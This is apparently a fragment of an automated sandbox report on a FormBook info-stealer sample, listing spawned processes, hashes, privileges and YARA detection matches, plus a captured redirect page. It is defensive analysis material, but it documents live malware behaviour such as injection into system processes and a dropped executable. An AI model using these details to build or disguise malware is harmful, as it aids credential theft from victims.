47 2f 68 57 75 49 72 73 45 56 51 63 4d 79 42 4e 45 54 39 70 49 39 46 6d 53 73 41 4c 62 46 75 4f 37 52 2f 44 70 58 6d 50 69 44 4c 30 52 41 70 38 26 6d 48 6d 30 6f 3d 72 72 71 68 6f 48 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?ZZY=rmFmYSV40EyuHaS2kdWsBSatZMcowP18dPlfx0Yf8gPpQKE966Dkx6Jhfns0QUWGli+3EHMWEp7NMhxdNQGBoYEKFyRFG/hWuIrsEVQcMyBNET9pI9FmSsALbFuO7R/DpXmPiDL0RAp8&mHm0o=rrqhoH"}</script></head></html>

Target ID:	3
Start time:	08:04:55
Start date:	09/10/2024
Path:	C:\Users\user\Desktop\sa7Bw41TUq.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\sa7Bw41TUq.exe"
Imagebase:	0x400000
File size:	1'364'575 bytes
MD5 hash:	6CD77B30F320ED9E0E515073E1175898
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	9
Start time:	08:05:03
Start date:	09/10/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\sa7Bw41TUq.exe"
Imagebase:	0x2b0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.1688985587.0000000009690000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.1688985587.0000000009690000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.1671982092.00000000067E0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.1671982092.00000000067E0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.1670445021.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.1670445021.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	09:58:17
Start date:	09/10/2024
Path:	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe"
Imagebase:	0xfa0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.3737482520.0000000004BE0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.3737482520.0000000004BE0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	12
Start time:	09:58:23
Start date:	09/10/2024
Path:	C:\Windows\SysWOW64\typeperf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\typeperf.exe"
Imagebase:	0xd90000
File size:	41'984 bytes
MD5 hash:	93925D4F55465CFC73C4CDF7F8B1F375
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3737461666.0000000000BB0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3737461666.0000000000BB0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3737315515.0000000000B60000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3737315515.0000000000B60000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3725825178.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3725825178.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	14
Start time:	09:58:37
Start date:	09/10/2024
Path:	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe"
Imagebase:	0xfa0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.3739752184.0000000004DC0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000E.00000002.3739752184.0000000004DC0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	16
Start time:	09:58:49
Start date:	09/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true